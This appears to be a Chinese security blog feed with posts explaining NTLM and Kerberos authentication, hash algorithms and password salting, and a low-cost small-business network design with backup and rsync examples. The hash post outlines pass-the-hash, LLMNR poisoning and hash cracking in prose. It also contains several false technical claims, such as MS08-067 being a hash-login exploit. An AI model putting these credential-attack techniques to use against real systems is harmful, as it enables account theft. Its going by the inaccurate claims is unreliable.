step1，client 请求登录 server，于是向 server 发送包含 mclient_username 的请求数据；

step2，server 得知 client 发起请求之后，生成16位随机数 Challenge 或称 Nonce 。发送mChallenge 到 client，挑战鉴定 client 是否是说它宣称的用户；

step3，client 接受挑战，先得出C Challenge= E k1(mChallenge)，这里的 Key1 就是 client 本机记录的密码哈希值，最后将 C Challenge 发送给 server；

step4，server 将m Challenge 、 mclient_username 和 C Challenge 转交给Domain Controller 验证；

step5，Domain Controller 收到验证请求，于是在域记录中找到 mclient_username 用户记录的密码哈希值 Key2。基于哈希的雪崩性原理，明文单个比特的修改将会导致密文大幅的变动。因此如果 C Challenge= E k1(mChallenge)= E k2(mChallenge) 成立，那么认为 Key1 = Key2， client 通过验证。如果 Key1 ≠ Key2，则client 不通过验证。Domain Controller 将是否通过验证的结果转告 server 。

总结关于 NTLM 的特点，便于学习更为复杂的 berberos：
  1. 想确认 client 是否是它属宣称的用户，告诉 server 一个只有 client 和 server 才知道秘密（比如密码）就行了；
  2. 这个秘密在传输的时候需要保证安全，不被窃听，所以采用了对称加密算法，加密和解密的密钥都是 client 密码的哈希值。

0X2：kerberos

助于读者咀嚼文章，简单介绍扫盲：

  • Long-term Key（亦称Master Key）指的是由密码或者密码直接派生的值，由于 Long-term Key 可能长期不被修改，一旦被截获可以有很长时间进行破解，因此 Long-term Key 不适用于网络传输。密码的哈希值属于Long-term Key。
  • Short-term Key（亦称Session Key）是为了解决 Long-term Key 不适用于网络传输的问题，所以 Short-term Key 常常是通信双方进行协商之后得出的密钥，一般 Short-term Key 的生效时间都很短，甚至结束通信后就失效。

类似于 NTLM 的特点和上面两点概念，很明显 kerberos 需要 Short-term Key 作为加密的密钥，所以需要引入Key Distribution Center 这个角色，域环境下一般使用 Domain Controller 担任 Key Distribution Center 角色。下文以域环境讲述 kerberos 认证，所以下文的 AD 亦指 KDC。

AD 首先会维护域内的 Account Databas，里面就包括了用户名和对应的Long-term Key ( 一般就是哈希值 ) ，其次 AD 还需要负责分发 Short-term Key，分发的流程大概是这样的：

  1. client1 声明自己的身份并请求访问 server1，因此它需要向 AD 申请 Short-term Key ，假设是SKc&s ；

  2. 为了保证 Short-term Key 只能被 client1 和 server1 安全使用，AD 在 Account Databas 里找到 client1 和 server1 对应的 Long-term Key，假设就是它们密码对应生成的哈希值 hash-c 和 hash-s。然后 AD 会将SKc&s = E hash-c( SKc&s) 的加密结果发送给 client，将 Session Ticket = E hash-s( SKc&s+部分 client 的信息) 的加密结果同样发送给 client；

    为什么将 Session Ticket 发送给 client ？因为 client 不知道 hash-s 的值，它是无法解密获取 SKc&s和部分 client 的信息。原因一是因为 AD 面对不同的 client 可能需要处理很多步骤一的内容，原因二是基于网络通信的考虑，如果 client 已经解密获得 SKc&s，但 server 的网络或者负载出现了问题，迟迟没有完成解密获得SKc&s，那么认证流程还是没办法往下走，所以带有 SKc&s 的两个加密数据包都发送给 client，client 再把属于 server 的加密数据包发送给 server。这个代替 AD（或者KDC）包括凭证的做法就是 TGT（Ticket Granting Ticket）， client 再次需要和 AD 通信的时候，把 TGT 一并发送过去即可。

  3. client 解密hash-c 作为密钥加密的数据包，获得SKc&s。client 将自己的部分信息和 Timestamp 利用 SKc&s 执行加密，即 Authenticator = E SKc&s(部分client的信息+ Timestamp)。把 Authenticator 和 AD那里得到的 Session Ticket 都转发给 server1；

  4. server1 利用 hash-s 解开Session Ticke 得到SKc&s，表达式就是：SKc&s +部分 client 的信息= D hash-s( Session Ticke )。再有 D SKc&s ( Authenticator ) 得到来自 client1 的信息和 Timestamp。

  5. server1 在比较来自 Session Ticke 和 Authenticator 都包含的 client1 信息是否一致之前，会先检查 Timestamp 的时间和当前系统时间做比较，如果两者的时间相差超过设定阈值就认为数据包失效，不再进行比较 client1 的信息而直接拒绝认证，防止重放攻击。为此，server1 中会维护一张时间表，里面记录许多 client 最近一次的认证时间，如果 Timestamp 时间晚于最近认证的时间，server1 才会继续后续验证，所以域环境下的Time Synchronization 也会干预认证结果。

  6. ( optional ) 如果 client1 需要确认通信的 server 是否就是我想要访问的 server1，那么就需要在向 server1 发送的登录凭证里设置 Flag 字段信息。当 server 1 看到有 Flag 字段信息时，就会把来自 client1 的Timestamp 信息用 SKc&s 做加密并把结果发送给 client1 ，client1 解密之后如果 Timestamp 和本机记录一样，则认为 server1 就是我想访问的 server 。因为要拿到 Timestamp 信息需要解开 Authenticator 数据包，解开Authenticator 需要 SKc&s，而获得 SKc&s 要么拥有hash-c，要么拥有hash-s。

0X3：kerberos 的优势

1．较高的Performance

虽然我们一再地说Kerberos是一个涉及到3方的认证过程：Client、Server、KDC。但是一旦Client获得用过访问某个Server的Ticket，该Server就能根据这个Ticket实现对Client的验证，而无须KDC的再次参与。和传统的基于Windows NT 4.0的每个完全依赖Trusted Third Party的NTLM比较，具有较大的性能提升。

2．实现了双向验证（Mutual Authentication）

传统的NTLM认证基于这样一个前提：Client访问的远程的Service是可信的、无需对于进行验证，所以NTLM不曾提供双向验证的功能。这显然有点理想主义，为此Kerberos弥补了这个不足：Client在访问Server的资源之前，可以要求对Server的身份执行认证。

3．对Delegation的支持

Impersonation和Delegation是一个分布式环境中两个重要的功能。Impersonation允许Server在本地使用Logon 的Account执行某些操作，Delegation需用Server将logon的Account带入到另过一个Context执行相应的操作。NTLM仅对Impersonation提供支持，而Kerberos通过一种双向的、可传递的（Mutual 、Transitive）信任模式实现了对Delegation的支持。

4．互操作性（Interoperability）

Kerberos最初由MIT首创，现在已经成为一行被广泛接受的标准。所以对于不同的平台可以进行广泛的互操作。

参考资料：

https://www.ichunqiu.com/course/51459 固若金汤的 Kerberos

https://blog.csdn.net/wulantian/article/details/42418231 Kerberos 的认证原理

http://www.cnblogs.com/artech/archive/2011/01/24/kerberos.html Windows 的安全认证

]]> https://www.h0u5er.com/kerberos/ 2018-06-05T01:11:58.000Z 0X0：简介

Windows 环境下的两种安全认证模式：

NT Lan M]]>

NTLM和KERBEROS认证 2018-06-05T01:11:58.000Z Houser Yuen 密码学之哈希算法杂谈

很久没有再继续写密码学的文章了，我对密码学的兴趣源于两个，一是和 GFW 多年的斗智斗勇，二是满足我的好奇心和隐私需求。再次重申我不是密码学科的专业人士，如有错误或者补充观点，请务必联系我！之前密码学系列文章的逻辑思路不容易令人理解，这次换成提问的方式讲解哈希相关内容：

问题1：加密算法和哈希算法是否有区别 ，哈希算法有哪些？

问题2：什么是碰撞？

问题3：我们常说的加盐是什么？

问题4：基于哈希的单向性和雪崩性，那么入侵系统之后提取哈希值有什么意义？

问题5：系统是如何判断用户的密码是正确的? 哈希过程在浏览器还是服务器完成？

问题6：攻击者获取了数据库权限，直接替代哈希值是否能实现任意账号登录？

加密算法和哈希算法是否有区别 ，哈希算法有哪些？

​为了保护一个人不易被辨识出是谁，那么可以通过戴墨镜、戴口罩、化妆等方式掩盖自己的特征。加密( Encryption ) 是将明文信息改变为难以读取的密文内容，使之不可读。只有知道解密方法的对象，经由解密过程后才能将密文还原为正常可读的内容。 常说的 DES 、 AES 、RSA、SM2 等加密算法都是 “易容术” 的一种。

​为了辨识一个人的身份，我们提取这个人的指纹，再经过特定的方式比对就可以知道 “他/她” 是谁。散列函数( Hash function )又称散列算法、哈希函数，是一种从任何一种数据中创建小的数字“指纹”的方法。散列函数把消息或数据压缩成摘要，使得数据量变小，将数据的格式固定下来。

​ MD4算法一般使用在32位的计算机处理器模块内，通过软件系统来实现其算法功能。然而，由于MD4算法本身存在的安全性漏洞，目前它已经被更为先进安全的算法所淘汰。但MD4算法为之后的MD5算法、SHA-1算法、ripemd 算法等提供了很好的理论基础。MD5算法是MD4算法的升级版，它在MD4算法的基础上增加了 safety-belts 功能，使整个算法变得更加可靠。MD5算法在MD4算法的基础上加入了第四轮的计算模式，每一个步骤都是一一对应的固定值，改进了MD4算法中在第二轮、第三轮计算中的漏洞，完善了访问输入分组的次序，从而减小其对称性和相同性。通过这些变化，使得MD5与MD4相比变得复杂很多，整个运转速度也要比MD4慢一些，但是从整体安全性、抗冲突和抗分析方面有了很大的提高。

​SHA-1算法也叫做安全哈希算法，主要应用于digital signature standard dss里面定义的数字签名算法。SHA-1算法长度一般为160bit 的message digest，SHA-1算法在接收消息摘要的过程中，可以利用message digest 来检查数据的完整情况。它不会从message digest 中还原相关的内容，此外两个不同的message 不会产生相同的message digest，因此SHA-1算法具有很强的brute-force性能。SHA-1算法的计算方式是基于MD4的算法原理，它的填补和分组模式与MD5是一样的，但是在算法中，SHA-1的非线性函数、循环左移运算和加法常数与MD5算法的运算方式有一定的差异，SHA-1的安全性和稳定性比MD5算法更加可靠，且运算速度也有了一定的提高。

​
​

​SM3算法适用于商用密码应用中的数字签名和验证，是在SHA-256基础上改进实现的一种算法。SM3算法采用Merkle-Damgard 结构，消息分组长度为 512 位，摘要值长度为 256 位。 用上图来讲解SM3算法运算流程：首先判断是否要填充 ( Padding )，然后将数据按块切分，每块 ( Block ) 占 512 比特。将初始向量( Initial Vector ) 与第一个数据块 B1 丢进压缩函数( Compression function )执行运算，得出结果 V1。将V1与第二个数据块 B2 丢进压缩函数执行运算，得出结果V2，直至运算到最后一个数据块Bn 得出结果Vn，结果Vn 就是我们固定长度的哈希值。哈希值也叫做预映射( pre-image )或散列值。

名称类型常见用途
SM1对称加密算法IC卡、智能钥匙等硬件加密密钥长度128比特，分组长度128比特
SM2基于椭圆曲线数字签名算法、交换协议和公钥加密数字签名、协商密钥、非对称加密密钥长度128比特，分组长度128比特
SM3杂凑演算法消息认证码、随机数、数字签名输出固定256比特的结果
SM4对称加密算法无线局域网， WAPI标准密钥长度128比特，分组长度128比特， 32轮非线性迭代结构，由国家密码管理局负责计划
SM7分组密码算法非接触式IC卡密钥长度128比特，分组长度128比特
SM9双线性对的标识密码算法无需申请的数字证书的身份认证密钥长度256比特
ZUC流加密算法加密算法 128-EEA3 和 完整性算法128-EIA3 可用于移动通信，4G网络128比特的初始向量和128比特的密钥长度
DES对称加密算法加密数据密钥长度48(56减8)比特，分组长度64比特，执行16轮Feistel Cipher迭代，由原NAS负责计划
3DES对称加密算法加密数据密钥长度112比特，分组长度64比特，执行16轮Feistel Cipher迭代，由NAS负责计划
AES对称加密算法加密数据密钥长度可选128/192/256比特，分组长度128比特，取决于密钥长度执行10至14轮次迭代，由NIST负责计划
RSA基于特殊的可逆模幂运算的公钥加密算法非对称加密密钥长度可选1024比特、2048比特、3072比特或4096比特。
MD5杂凑演算法完整性检验输出固定128比特的结果
SHA1杂凑演算法完整性检验输出固定160比特的结果
SHA2杂凑演算法完整性检验输出可选224比特、256比特、384比特或512比特的结果
  • SM2 算法是国家密码管理局编制的一种商用密码非对称算法，基于 ECC 算法，安全性与NIST Prime256 相当。ECC和RSA对比的情况下，具有抗攻击性强、CPU 占用少、内容使用少、网络消耗低和加密速度快的特点，3072 位长度的RSA 密钥加密效果等同于 256 位长度的 ECC 密钥加密。 2010年，国密局公开 SM2 算法。
  • SM3 算法是国家密码管理局编制的一种商用密码摘要算法，安全性与效率与 SHA256 相当。2010年，国密局公开SM3 算法。
  • SM4 分组密码算法，原名SMS4，国家密码管理局于2012年3月21日发布。
  • ZUC 算法，国家密码管理局于2012年3月21日发布。
  • SM9是中华人民共和国政府采用的一种标识密码( ID-based_cryptography )标准，由国家密码管理局于2016年3月28日发布。SM9的加密强度等同于3072位密钥的 RSA 加密算法。
  • RSA 规定待加密的字节数不能超过密钥的长度值除以 8 再减去 11，密文长度等于密钥的长度值除以 8 ，对超长问题可使用拆分数据或对称加密处理。
RSA密钥长度SM2密钥长度破解时间
521比特106比特104年（已破解）
768比特132比特108年（已破解）
1024比特160比特1011年
2048比特210比特1020年
算法名称签名速度验签速度
1024 RSA2792次/秒51224次/秒
2048 RSA455次/秒15122次/秒
256 SM24095次/秒871次/秒

什么是碰撞？

​碰撞指的是用不同的原始数据运算后得出相同的值，数学语言表示为：有一个函数 f(x) ，找到了x1和x2，并且x1 ≠ x2 ，如果满足 f(x1) = f(x2)，则认为发生一次碰撞( Collision ) ，函数 f(x) 不局限于是哈希函数。碰撞攻击和算法破解是两种不同的概念，当攻击者需要花费巨大的成本 ( 比如时间和算力 ) 破译我们的密码，其中产生的收益远小于实际付出的成本，那么我们就认为我们的密码是安全的，下面提供两个不同 PDF 文件，但它们的 SHA-1 哈希值却是一样的，因此 SHA-1 会逐渐被其他安全算法替换。

点击下载 PDF1：

点击下载 PDF2：

[[https://i.ooxx.ooo/2018/07/26/1e102db9bdfa7f8ab7136313bba257e6.jpg])

同样不安全的还有 MD5 算法，目前坊间流传字母和数字组合的八位数密码 ( 合计有 (26*2+10)8 种组合方式 ) 生成的 MD5 值已经可以通过彩虹表的方式秒破。彩虹表是一种使用空间换取时间的技术，跟查表破解很相似，用下面介绍的加盐处理方式可以很好的抵御彩虹表攻击。

RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique. It crack hashes with rainbow tables.

  • 1999年1月，distributed.net与电子前哨基金会合作，在22小时15分钟内即公开破解了一个DES密钥。

  • 2004年，王小云在美国加州圣巴巴拉的 Crypto’2004 会议上证明MD5算法可以产生碰撞。

  • 2008年，荷兰埃因霍芬技术大学科学家成功把2个可执行文件进行了MD5碰撞，使得这两个运行结果不同的程序被计算出同一个MD5。

  • 2008年12月一组科研人员通过 MD5 碰撞成功生成了伪造的SSL证书 ，这使得在https协议中服务器可以伪造一些根CA的签名。

  • 2010年成功分解了RSA-768私钥。

  • 2017年2月24日，谷歌通过9兆亿次运算攻破 SHA-1 算法。

我们常说的加盐是什么？

​讲加盐之前，先解释清楚认证 (Authenticate) 和授权 (Authorization) 的区别，认证是系统比对记录后，识别出你所拥有身份的过程，授权是系统查看记录，根据记录授予你权限的过程。两者对应不用的技术功能，比如指纹识别、single sign on、Two-Factor-Authentication、HMAC、JSON Web Token 属于认证管理。策略组、用户组、权限组等属于授权管理。因为哈希不可逆的特点，数据库存储用户的密码都是以哈希值的形式存在，用户请求登录时，我们只是比对用户密码加密后的哈希值和存储记录的哈希值是否一致，相同则认为该用户是他所声称的用户身份。理论上用户的密码只能由用户自己知道，但是即便如此，还会出现这样的情况：

  1. 为了方便记忆，用户可能会在不同的网站上使用相同的密码，黑客猥琐一笑，开始撞库。
  2. 为了方便输入，用户可能会设置一个非常简单的密码，比如123456，黑客猥琐一笑，开始导入字典。
  3. 为了方便运维，开发者可能会直接将用户密码直接写入数据库，黑客猥琐一笑，开始脱裤。
  4. 为了方便管理，开发者可能会把敏感信息暴露在不安全的地方，如审计日志、源码托管等，黑客猥琐一笑，开始爬虫。

当我看到某单位的系统管理员把所有的密码都记录在Excel和便利贴上的时候，我差点忍不住骂人。

所以数据库的加密存储很有必要，用正确且合适的加密算法很有必要，相关人员的意识培也很有必要。常见的数据库比如 mysql 就提供非常方便的 MD5 加密存储功能，但是上文已经讲到了 MD5 的不安全性问题，所以开发者们想到了加盐的办法。关于加盐如何在实际在应用的使用，知乎答主 CoderZh 和乌云知识库的第1066篇文章已经写的很好了，我就不重复造轮子了。

md5(md5(password)+Salt)

总结有那么几种耍流氓的方式：

  1. 所有使用性能借口做明文存储密码的运维人员都是耍流氓，包括单纯的 md5(text)=password
  2. 所有使用固定字符串作为盐值的运维人员都是耍流氓，无论你的字符串多复杂多长。
  3. 所有使用过短长度的随机盐作为密码加密存储的运维人员都是耍流氓。
  4. 所有使用非权威算法做密码加密存储的运维人员都是耍流氓。

基于哈希的单向性和雪崩性，那么入侵系统之后提取哈希值有什么意义？

意义在于需要破解哈希，使得哈希值变成明文密码进而持续内网渗透，漏洞编号MS08-067则利用哈希值直接登录。先要介绍 windwos 系统下 NTLM 和 Net-NTLM。我在刚刚接触这方面的内容的时候，也常常搞混 NTLM，NTLMv1/v2，Net-NTLMv1/v2 这几个概念，下面推荐几篇不错的文章：

利用NTLM中继攻击

MS08-067漏洞原理剖析

MS08-068漏洞利用工具

Windows下的密码hash——NTLM hash和Net-NTLM hash介绍

Windows下的密码hash——Net-NTLMv1介绍

Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes)

Windows系统下的 Hash 密码格式为：用户名称:RID:NTLM-Hash值:Net-Hash值，例如：

Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示

用户名称为：Administrator

RID为：500

LM-Hash值为：C8825DB10F2590EAAAD3B435B51404EE

NT-Hash值为：683020925C5D8569C23AA724774CE6CC

NTLM的 Hash 存放在 windows 的安全账户管理 (SAM) 数据库以及域控的NTDS.dit 数据库中，且自 Windows Vista 和 Windows Server 2008 开始，Windows 取消 NTLM hash 使用。Net-NTLM Hash 是指网络环境下NTLM认证中的hash 。这样说明了NTLM是可以进行哈希传递攻击，而Net-NTLM是无法利用进行哈希传递攻击的 。除此以外，还可以利用让受害者访问不存在的主机的共享进行 LLMNR Poison 攻击，这样可以获得受害者主机的 Hash ，拿到 Hash 就可以进行暴力破解了，如果是弱口令的话，就可以爆破出密码。同样也可以利用让受害者访问不存在的 HTTP 服务器进行 401 认证拿到客户端的 Hash。

系统是如何判断用户的密码是正确的? 哈希过程在浏览器还是服务器完成？

Windows系统中有一种是基于Kerberos的认证，关于Kerberos认证我再单独写一篇。另一种是基于 NTLM 挑战模式的身份认证，后者就是以用户密码哈希值作为密钥，这一把密码用户通过哈希运算得出，服务器通过查找记录得出，因此可以理解成是是对称加密的模式，流程如下：

  • 客户端首先在本地加密当前用户的密码成为密码散列
  • 客户端向服务器发送自己的帐号，这个帐号是没有经过加密的，明文直接传输
  • 服务器产生一个16位的随机数字发送给客户端，作为一个 challenge（挑战）
  • 客户端再用加密后的密码散列来加密这个 challenge ，然后把这个返回给服务器。作为 response（响应） 
  • 服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西，发送域控制器
  • 域控制器用这个用户名在 SAM 密码管理库中找到这个用户的密码散列，然后使用这个密码散列来加密 challenge。
  • 域控制器比较两次加密的 challenge ，如果一样，那么认证成功。

哈希过程应该浏览器和服务器端都运行一次。

浏览器端必然不能以明文的形式传输密码到服务器端，因此我们可以采用 javascript 在浏览器内实现对用户密码的哈希运算，再将结果发送到服务器端，服务器对接受的哈希值执行比对就可以判断密码是否正确。但是这样做的问题在于，如果传输通道上存在中间人，那么中间人拦截了用户密码的哈希值之后，直接重放即可登录用户账号，甚至不需要解密，所以仅仅在浏览器执行一次哈希是不安全的，我们还需要在服务器端执行第二次哈希后判断用户密码是否正确。在浏览器端做加密需要注意下面几点：

  • 浏览器执行用户密码哈希，不能代替https协议；
  • 有些浏览器不支持 javascript 或者用户禁用 javascript；
  • 浏览器端哈希也需要加盐运算，盐值可以是用户名或域名，但不要使用向服务器端请求用户盐值的方式；

攻击者获取了数据库权限，直接替代哈希值是否能实现任意账号登录？

​讲道理，如果全部的数据库和服务器都被攻陷了，那么真的没有办法阻止攻击者登录你的账号，但是基于哈希函数不可逆的特点，攻击者依然不知道你真正的密码是什么，在不开除安全人员的情况下，也算是给了用户一个交代，不会造成大面积的撞库事件。

参考资料：

http://www.cnblogs.com/sochishun/p/7028056.html 加密算法概述和项目应用

https://blog.csdn.net/andylau00j/article/details/54427395 国密算法概述

http://www.iwms.net/n1016c43.aspx 山东大学王小云教授成功破解MD5

http://www.cnblogs.com/fishou/p/4206451.html DH密钥交换和ECDH原理

https://blog.coderzh.com/2016/01/10/a-password-security-design-example/ 即使被拖库，也可以保证密码不泄露

https://blog.csdn.net/qq_26886929/article/details/53905654 NTLM 工作原理

http://blog.51cto.com/shitou118/240223 Windows下的密码hash

http://www.freebuf.com/articles/database/70395.html 详解Windows Hash与破解

http://suo.im/5iQAL2 Linux 的哈希密码获取和破解

https://www.secpulse.com/archives/65256.html 几种windows本地哈希获取和破解

https://klionsec.github.io/2017/04/26/use-hashcat-crack-hash/ 快速破解各种哈希值

https://cloudblogs.microsoft.com/microsoftsecure/2018/05/01/building-a-world-without-passwords/

https://www.bleepingcomputer.com/news/security/github-accidentally-recorded-some-plaintext-passwords-in-its-internal-logs/

https://www.theverge.com/2018/5/3/17316684/twitter-password-bug-security-flaw-exposed-change-now

]]> https://www.h0u5er.com/Classical-cryptography-5/ 2018-05-16T16:00:00.000Z 密码学之哈希算法杂谈

很久没有再继续写密码学的文章了，我对密码学的兴趣源于两个，一是和 GFW 多]]>

哈希算法 2018-05-16T16:00:00.000Z Houser Yuen 文章结构

一、简单介绍

二、场景设定

三、方案部署

3.1 云有部分

3.1.1 免费服务

3.1.2 数据同步

3.1.3 负载均衡

3.1.4 运维审计

3.1.5 数据分析

3.1.6 网站防护

3.2 私有部署

3.2.1 虚拟化

3.2.2 扫描工具

3.2.3 检测系统

3.2.4 常见服务

3.2.5 防火墙

3.2.6 其他

四、结束语

五、参考资料

一、简单介绍

一如既往的拖延，终于要领毕业证了，少不了一份毕业设计。本着不负责、不科学、不严谨的态度写了此文，讲解如何用低成本（其实就是开源+薅羊毛+虚拟化）打造一个小型企业网络。我一直都是在乙方工作，所以本文将从伪甲方的角度讲述一个企业网的信息安全保障替代方案，方案整体的可用性、兼容性、规范性和安全性问题有待各位读者斧正！世界充满了对抗与妥协，便利和安全、攻击与防御各种各样的博弈。

二、场景设定

  • 经营旅游业的初创公司
  • 依靠为用户安排酒店、交通、导游等方式营利
  • 2个网站，用于门户业务和社区讨论
  • 约30位员工，负责管理、业务和开发

三、方案部署

图一

画的有点丑，左侧是云服务区域，右侧是本地IDC区域，云区域的基础通信已经不用使用者过多的干预。按照场景设定，我们用到云端的业务只有2个网站，除了架设 Web 服务，还有 VPN 通信、告警管理、数据备份的需求。

首先用于和本地 IDC 机房通信的云主机需要较低延迟并且稳定，我们采用普通的 VPN 隧道进行数据传输，这种方法虽然比较容易受到公网的网络质量和主机性能的限制，但是这种方法比开通云服务商的高速通道或者专线服务要便宜的多。其次我们还要在跨越云主机所在的物理区域再建设一个备份的云环境。最后云端上少不了的就是各种云防护的部署，文章后面再讲解。所以 Cloud A 中最少一台主机，负责部署 VPN 、CDN、网站的负载均衡。Cloud B 中最少两台 Web 服务器负责运行门户业务网站和社区讨论网站。Cloud C 中最少两台主机实现容灾备份，起码在 Cloud A 或者 Cloud B 的某个业务停止的情况下，可以手工切换的接替工作。不同的主机之间的访问策略需要配置好，毕竟策略不花钱还能提升安全防御能力，何乐而不为？

图二

上图从汇聚和接入层开始说起吧。先初定需要对四种区域的有线网络进行划分，小型企业的整个拓扑里面买3个24口的交换机应该绰绰有余，菊厂支持VLAN的24口全新百兆交换机在某宝只要160元。基于vlan的特性，可以人为的使任意一种的网络无法与其他三种网络进行二层通信。

接着谈谈核心层，如果对上述vlan的特性没有要求，那么拓扑中的路由器和出口网关可以由一台防火墙代替，只要这一台核心防火墙的性能能满足网络的需求即可，毕竟路由器得花钱，防火墙我们可以用开源的产品解决。拓扑图里面有三种颜色的出口，最省钱的办法就是只办理普通的电信百兆光纤，把它接到出口就行了。出口二和出口三是可选项，担心本地与云端有频繁的数据交互预留的通道，比如数据库服务器在本地架设的话需要公网静态IP。混合云能实现生产数据放在本地机房，其余组件放在云端，这样既发挥了云端的特性又保证了数据的所有权。常见的大型的云服务商有提供专线连接到云主机上，或者需要额外增加其他网络运营商时，就可以用这两个预留出口。

最后还有无线网络覆盖，无线的便捷性与安全性是一对矛盾。家用级的无线路由器能支持准入控制功能并不多，在某保的千兆双频带认证的无线路由器189元。如果觉得想要更加符合自己口味的无线路由器，可以试试购买 Raspberry Pi 主模块和拓展模块，安装上 Openwrt 来实现需求。下图带有绿色图标的项会在本文中实际部署一次，其余仅粗略描述。

图三

3.1 云有部分

3.1.1 免费服务

如何获取云服务？中国互联网模式的发展让不少中国人享受到了免费杀毒、免费音乐、免费出行等等，许多企业希望用免费服务来换得人口红利。随着弹性计算技术的发展，也让国内外许多厂家纷纷给了优惠甚至免费的服务，从国内的 BATJ 四大巨头到海外的微软、谷歌和亚马逊等大厂希望能在激烈的市场中分一杯羹，所以想不花钱拿下几台服务器短期内使用还是可以的。

阿里云推出校园扶持计划和云翼计划。

腾讯云+校园扶持计划，助你变身云计算达人，扶持在校学生自主创业。

我们提供 $300 美元的免費試用額度，方便您開始使用 Google Cloud Platform 產品。

AWS 为客户提供了多种产品与服务的免费套餐，可以在注册账户之后免费试用12个月，以帮助客户获得 AWS 的实际操作经验。

创建 Microsoft Azure 免费帐户时获得$100 额度。仅面向学生。无需信用卡，并可获得12 个月的免费 Azure 服务。

如何获取解析与抗DDOS服务？近期 Cloudfare 发布了一个容易记且支持 dns-over-https 的 DNS 服务。之前 Cloudfare 还宣称能为用户提供无限制流量防御 DDOS 保护，CloudFlare 的免费版套餐只能使用 NS 方式，但也有思路实现支持 CNAME 解析并且支持SSL，所以场景设定的网站有需求的时候可以考虑使用 Cloudfare 的服务。

最后少不了 SSL 给你添加一丝安全感。今年的3月份，Let’s encrypt 通配符域名免费证书可以签发了，目前仅支持 DNS 的方式，除了上面的 Cloudfare 之外，还支持CloudXNS、DNSpod。Let’s encrypt 的证书授权使用是有时间限制的，常见的做法可以执行 python 脚本实现自动到期更新，有了证书之后你应该抛弃全部的 http 连接。

3.1.2 数据同步

数据同步可以做为数据备份的一个方法，而数据的备份又分为：

**全量备份：**每次一都备份全部文件，数量最大，备份时长久，备份数据里面都是重复的内容，但是恢复最方便最节省时间；

**差异备份：**差异备份是针对全量备份，它负责在全量备份到进行差异备份这段时间，备份上次全量备份之后发生变化的文件。恢复数据只需要第一次全量备份的磁盘和最后一次差异备份的磁盘即可恢复数据，节省了磁盘空间的同时，还提高了备份数据、恢复数据的效率。

**增量备份：**针对上一次的备份进行对比，只备份发生变化的文件（增加或修改的文件）。增量备份第一次是全量备份，第二次开始便是只备份第一次备份数据中被修改的部分，如此类推。因此增量备份的备份数据里面不包含重复数据，数量最小，备份时间快，但是如果进行数据恢复要从全量数据开始按照时间顺序开始每个反推恢复，这导致需要漫长的恢复时间。如果其中一份增量数据损坏或丢失，容易导致数据恢复失败。

按照数据量和恢复速度来说就是：全量备份 (恢复方便) > 差异备份（恢复头和尾）> 增量备份（恢复较慢）。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#!/bin/bash
#备份/etc文件夹
ntpdate asia.pool.ntp.org &>/dev/null
date=$(date +%y%m%d)
size=$(du -sh /etc)
if [ -d /tmp/etc_backup ]
        then
                echo "Date: $date" > /tmp/etc_backup/info.txt
                echo "size: $size" >> /tmp/etc_backup/info.txt
                cd /tmp/etc_backup
                tar -zcf etc_bak$date.tar.gz /etc info.txt &>/dev/null
        else
                mkdir /tmp/etc_backup
                echo "Date: $date" > /tmp/etc_backup/info.txt
                echo "size: $size" >> /tmp/etc_backup/info.txt
                cd /tmp/etc_backup
                tar -zcf etc_bak$date.tar.gz /etc info.txt &>/dev/null
fi

利用 Centos 自带的 crond 服务定期执行上述脚本，就可以达到定期备份 /etc 目录的功能。但是这种方式存在一定的弊端，如当备份的数据量比较大的时候，备份一次的周期时间长、耗费性能资源高、且仅能做到全量备份。其实对少量数据备份的情况，我们有 scp 命令、dd 命令、ftp 服务、samba 服务也可以满足需求，如果数据量比较大且对实时性的要求较高，那么就有 rsync 服务来完成。rsync 具备特殊的算法，可以识别文件是否存在变化，它在同步数据的时候采用增量备份的方式，仅同步发生变化的数据。rsync服务具备 ssh 同步和 rsync 同步两种模式。ssh 同步采用系统 ssh 用户模式同步，而 rsync 同步采用虚拟用户模式同步，类似 vsftpd 服务中建立虚拟用户和密码，不同的是vsftpd调用的是本地 ftp 用户，rsync调用本地 nobody 用户。ssh 同步方式可以采用密钥认证达到免密码输入，rsync 同步方式可以采用RSYNC_PASSWORD 变量赋值达到免密码输入的效果。下面是我的部署实例：

主机A，192.168.150.134，负责存储实时备份远程主机的数据；

主机B，192.168.150.200，日常生产环境的主机，具备重要数据；

  1. 主机A上安装rsync服务
1
yum -y install rsyncd

  1. rsync同步方式：

    2.1 主机A创建/data/node1文件夹

    2.2 主机A配置/etc/rsyncd.conf

address = 192.168.150.134
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log

[node1]
path = /data/node1
read only = no //如果为YES，无法使用上传，即push模式。
list = no
auth users = h0u5er
secrets file = /etc/rsyncd_user.db

​ 2.3 主机A配置/etc/rsyncd_user.db，改修改文件为600权限且所有者所属组为root

1
h0u5er:123456

​ 2.4 主机B创建/data/node2文件夹，配置变量 export RSYNC_PASSWORD=123456

​ 2.5 由于调用nobody用户，所有修改主机A中/data/node1文件的权限

1
setfacl -m u:nobody:rwx /data/node1/

​ 2.6 测试将主机B/data/node2中的文件同步到主机A的/data/node1

1
2
3
4
5
6
[root@localhost node2]# rsync -avz /data/node2/* rsync://h0u5er@192.168.150.134/node1
sending incremental file list
1.txt

sent 62 bytes  received 27 bytes  35.60 bytes/sec
total size is 0  speedup is 0.00

​ 2.7 还可以执行下面的语句，效果与2.6的一样，注意是两个冒号

1
2
3
4
5
[root@localhost node2]# rsync -avz /data/node2/* h0u5er@192.168.150.134::node1
sending incremental file list

sent 26 bytes  received 8 bytes  13.60 bytes/sec
total size is 0  speedup is 0.00

​ 2.8 上述两种语法中，源路径和目的路径可以交换位置，分别就是上行同步模式PULL和下行同步模式PUSH

  1. ssh同步方式：

    3.1 结合实际业务需求，我们分别在两台主机生成密钥，并执行 ssh-copy-id ，达到双方ssh互访均无密码。

    3.2 利用ssh将主机B中/data/node2/的数据同步到主机A

1
2
3
4
5
6
7
8
9
10
11
12
[root@localhost node2]# rsync -avz /data/node2/ root@192.168.150.134:/data/node1

sending incremental file list

./

1.txt

sent 79 bytes  received 34 bytes  226.00 bytes/sec

total size is 0  speedup is 0.00

​ 3.3 上述语法中，源路径和目的路径可以交换位置，分别就是上行同步模式PULL和下行同步模式PUSH。

1
2
3
4
5
6
7
8
